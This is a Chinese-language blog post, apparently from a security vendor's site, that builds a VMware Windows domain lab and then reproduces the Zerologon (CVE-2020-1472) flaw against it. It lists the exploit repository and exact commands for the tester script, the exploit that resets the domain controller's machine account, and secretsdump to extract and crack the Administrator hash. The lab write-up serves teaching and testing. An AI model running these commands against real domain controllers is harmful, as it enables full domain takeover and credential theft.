提交需求
*
*

*
*
*
立即提交
点击”立即提交”，表明我理解并同意 《黄金城科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于黄金城
    申请试用
      VMware域环境搭建及Netlogon漏洞复现
      发布时间：2021-04-09 阅读次数： 408 次

      系统环境



      1.windows server 2012 r2（域控制器）

      2.windows server 2008 r2（域内服务器）

      3.windows 7（域内普通主机）


      2

      搭建域环境


      1、网络环境配置


      在VMware中安装好win7、win2008和win2012，然后第一步是进行网络配置，由于是要搭建域环境，所以域控制器需要使用固定的静态ip，在这里域内的三台机器为了方便都设置为固定ip。


      将三台机器的网卡都设置为NAT，进入虚拟网络编辑器，将DHCP的选中去掉。然后点击NAT设置，设置网关。此处设置：


      网段：192.168.154.0

      网关：192.168.154.1

      子网掩码：255.255.255.0




      域控主机（192.168.154.30）网络设置：

      ip：192.168.154.30

      子网掩码：255.255.255.0

      网关：192.168.154.1

      DNS：192.168.154.30


      Win2008（192.168.154.20）网络设置：

      ip：192.168.154.20

      子网掩码：255.255.255.0

      网关：192.168.154.1

      DNS：192.168.154.30




      Win7（192.168.154.10）网络设置：

      ip：192.168.154.10

      子网掩码：255.255.255.0

      网关：192.168.154.1

      DNS：192.168.154.30




      2、域控及DNS服务器（192.168.154.30）安装


      打开服务器管理器，点击添加角色和功能




      勾选AD域服务和DNS服务器


      一直下一步，点击安装




      安装完成后，需要将服务器提升为域控制器


      添加一个新林，根域名为domore.me


      输入目录还原密码，下一步


      一直下一步，点击安装，等待安装完成自动重启（如果安装出现错误，可在DNS选项去掉DNS委派的勾�。�


      3、主机入域


      等待域控制器安装重启完成后，在192.168.154.10和192.168.154.20两台主机上使用ping命令和nslookup命令查看是否能连通domore.me域。


      连通没有问题后，在控制面板->系统和黄金城官网->系统->更改设置中设置主机的域为domore.me


      成功入域


      4、创建域账户


      登录域控制器，创建一个域用户


      设置一个强密码1QAZ2wsx@?!


      使用域账户登录主机192.168.154.10


      至此，一个简单的域环境搭建完成。


      3

      Netlogon漏洞复现


      1、漏洞简介


      Netlogon协议是微软提供的一套域访问认证协议。CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞，由于微软在Netlogon协议中没有正确使用加密算法而导致的漏洞，微软在进行AES加密运算过程中，使用了AES-CFB8模式并且错误的将IV设置为全零，这使得攻击者在明文(client challenge)、IV等要素可控的情况下，存在较高概率使得产生的密文为全零。


      2、漏洞复现


      首先查看域控制器，Netlogon服务正在运行


      编辑kali的网络连接，使其能连通域控制器


      Poc及EXP链接：https://github.com/De4dCr0w/Vulnerability-analyze/tree/master/Zerologon-CVE-2020-1472

      PS：这里注意先pip3 install -r requirements.txt，pip3 install impacket一下

      运行poc检测脚本

      python3 zerologon_tester.py WIN-SHSMTK6HJCK 192.168.154.30，WIN-SHSMTK6HJCK为域控主机名，192.168.154.30为域控ip地址


      执行exp之前运行一次获取hash的脚本

      python3 secretsdump.py domore.me/WIN-SHSMTK6HJCK$@192.168.154.30 -just-dc -hashes :，发现获取失败


      行exp：python3 CVE-2020-1472.py WIN-SHSMTK6HJCK WIN-SHSMTK6HJCK$ 192.168.154.30


      再次执行获取hash脚本，成功。


      解一下域控Administrator账户的hash，Win2012@test，成功。

      上一条：每周黄金城官网速递???｜Conti勒索团伙向BCPS索要四千万赎金
      下一条：干货分享 | 《数据黄金城官网能力成熟度模型》实践指南合辑
      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部
      【网站地图】【sitemap】